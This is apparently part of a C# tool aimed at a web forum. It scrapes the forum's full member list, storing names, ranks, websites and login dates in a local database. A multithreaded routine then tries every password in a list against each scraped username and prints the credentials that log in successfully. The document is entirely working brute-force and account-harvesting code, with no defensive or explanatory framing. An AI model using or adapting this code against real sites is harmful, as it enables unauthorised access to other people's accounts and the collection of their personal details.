public void ProcessThread(int start, int length) { CookieAwareWebClient c = new CookieAwareWebClient(); Console.WriteLine("Thread for users {0}-{1} starting", start, start + length); for (int i = 0; i < length; i++) { string user = users[i + start]; for (int j = 0; j < passwords.Length; j++) { bool ok = ForumClient.LoginClient(users[i + start], passwords[j], c); if (ok) { Console.WriteLine("Logged in with {0} - {1} ", users[i + start], passwords[j]); } Interlocked.Add(ref tested, 1); } } running--; }
public ForumUser(HtmlNode root) { List <HtmlNode> columns = root.Descendants("td").ToList(); Id = int.Parse(ForumClient.FixHTML(columns[0].InnerText)); Rank = ForumClient.FixHTML(columns[2].Descendants("span").ToArray()[0].InnerText); Name = ForumClient.FixHTML(columns[2].Descendants("a").ToArray()[0].InnerText); if (columns[2].Descendants("a").ToArray()[0].Attributes.Contains("style")) { Color = ForumClient.FixHTML(columns[2].Descendants("a").ToArray()[0].Attributes["style"].Value.Replace("color: ", "").Replace(";", "")); } else { Color = "#"; } Messages = int.Parse(ForumClient.FixHTML(columns[3].InnerText)); if (columns[4].Descendants("a").ToArray().Length > 0) { Website = ForumClient.FixHTML(columns[4].Descendants("a").ToArray()[0].InnerText); } else { Website = ""; } Location = ForumClient.FixHTML(columns[4].InnerText); if (Website != "" && Location != "") { Location = Location.Replace(Website, ""); } RegisterDateString = ForumClient.FixHTML(columns[5].InnerText); LastLoginString = ForumClient.FixHTML(columns[6].InnerText); RegisterDate = DateTime.Parse(ForumClient.FixDate(RegisterDateString)); if (LastLoginString == " - ") { LoginDate = DateTime.MinValue; } else { LoginDate = DateTime.Parse(ForumClient.FixDate(LastLoginString)); } }
private void buttonStart_Click(object sender, EventArgs e) { string path = ""; OpenFileDialog file = new OpenFileDialog(); if (file.ShowDialog() == DialogResult.OK) { path = file.FileName; } else { Application.Exit(); } DBConnectionManager cm = new DBConnectionManager(path, "OleDb"); AccountDatabase db = new AccountDatabase(cm.GetAdapter("SELECT * FROM Accounts")); ForumClient.Login("username", "password"); List <ForumUser> u = ForumClient.GetFullUserList(25); Console.WriteLine("Storing " + u.Count + " users"); db.LogUsers(u); MessageBox.Show("Process ended successfully"); }